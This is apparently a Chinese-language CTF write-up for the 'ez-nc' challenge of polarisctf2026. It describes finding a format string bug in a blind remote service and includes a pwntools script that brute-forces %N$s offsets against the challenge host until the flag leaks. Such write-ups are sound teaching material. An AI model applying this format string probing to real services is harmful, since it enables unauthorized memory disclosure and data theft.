ez-nc

polarisctf2026ez-nc(1).png

这题没给附件,是一道盲打。

我们看到有一个让我们输入的地方,我们输入%p测试一下有没有格式化字符串漏洞(这里我先测试了输入flag、flag.txt等文件名,但是没有什么效果)

我们发现有格式化字符串漏洞

那我们常规用AAAAAAAA%p-%p......来测试偏移量,我们有发现到了7个字符就截断了,那就排除了我们常用的地址+%s泄露程序的方案了,然后我们的方案就比较少了,考虑到这个题是简单难度,我们可以考虑试试栈上是否放着一个指向flag的指针,我们用%s爆破一下,结果在%45$s发现flag了

polarisctf2026ez-nc(2).png

我们直接手动输入%45$s,发现了flag

polarisctf2026ez-nc(3).png

这里东西很多应该是printf读到\x00才停止导致的

爆破EXP:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc1.ctfplus.cn 41745'


gdb_   = 1 if ('gdb' in sys.argv)        else 0
switch = 1 if ('remote' in sys.argv)     else 0
debug  = 0 if ('deoff'  in sys.argv)     else 1
error  = 1 if ('error'  in sys.argv)     else 0


context(log_level='debug')



bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'), 
# ('system', 'libc')
]

gdb_cmd = ''
if gdb_ and switch == 0:
    gdb_cmd += "set breakpoint pending on\n"
    for b in bps:
       if isinstance(b, int):
           gdb_cmd += f"b *$rebase({hex(b)})\n"
       elif isinstance(b, str):
           gdb_cmd += f"b {b}\n"
    gdb_cmd += "c\n"


def s(data):             return p.send(data)
def sa(delim, data):     return p.sendafter(delim, data)
def sl(data):            return p.sendline(data)
def sla(delim, data):    return p.sendlineafter(delim, data)
def r(numb=4096):        return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool):            return p.recvline(keepends=bool)
def ra(t=None):          return p.recvall(timeout=t)
def rn(numb):            return p.recvn(numb)
def cl():                return p.close()
def it():                return p.interactive()
def uc64(data):          return u64(data.rjust(8, b'\x00'))
def uu64(data):          return u64(data.ljust(8, b'\x00'))
def addr(off):           return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data):            return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data):      return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address):         return (address).to_bytes(3, 'big')
def ntpie(leak, offset, name='PIE'):  return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf):            return binary.address + val  
def fill(num, content=b'A'):          return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr

_rop_cache = {}
def gg(s):
   target = elf
   if target not in _rop_cache:
       _rop_cache[target] = ROP(target)
   rop = _rop_cache[target]
   instrs = [x.strip() for x in s.split(';')]
   if (gadget := rop.find_gadget(instrs)):
       lg(s, gadget.address)
       return gadget.address
   else:
       raise ValueError(f"[-] Critical: Gadget not found: {s}")

def ga(delim=b'|', name='Leak', data=None):
    target_data = data if data else ru(delim)
    if isinstance(target_data, str):
        target_data = target_data.encode()
    hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
    return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################


offset = 1
while offset < 100:
    try:
        parts = target.replace(':', ' ').split()
        host = parts[-2]
        port   = int(parts[-1])
        p = remote(host, port)

#攻击部分:
        while offset < 100:
            p.recvuntil(b"download: ", timeout=1)
            payload = f"%{offset}$s"
            p.sendline(payload.encode())
#检测部分:
            response = p.recvuntil(b'Enter the filename', timeout=1)
            if b'polarisctf' in response:
                print(f"\n[+] Success! Target offeset found at {offset}.")
                p.close()
                sys.exit(0)
            print(f"[*] Offset {offset} tested. Moving on...")
            offset += 1

    except (EOFError, TimeoutError):#---程序崩了&程序卡死了
        p.close()
        offset += 1
        continue
    except Exception as e:#---其他异常
        p.close()
        offset += 1
        continue




ez-nc
https://zenquietus.top/archives/wei-ming-ming-wen-zhang-EC1velNJ
作者
ZenDuk
发布于
2026年03月31日
许可协议